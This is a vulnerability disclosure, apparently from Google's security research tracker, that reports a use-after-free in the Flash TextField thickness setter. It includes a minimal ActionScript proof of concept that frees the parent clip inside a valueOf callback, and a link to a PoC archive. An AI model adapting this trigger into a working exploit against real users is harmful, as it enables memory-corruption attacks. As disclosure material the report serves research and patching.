Source: https://code.google.com/p/google-security-research/issues/detail?id=587

There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.thickness = {valueOf : func};

function func(){
   
        if(times == 0){
          times++;
          return 0;
        }

	mc.removeMovieClip();

        // Fix heap here

	return 0;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39045.zip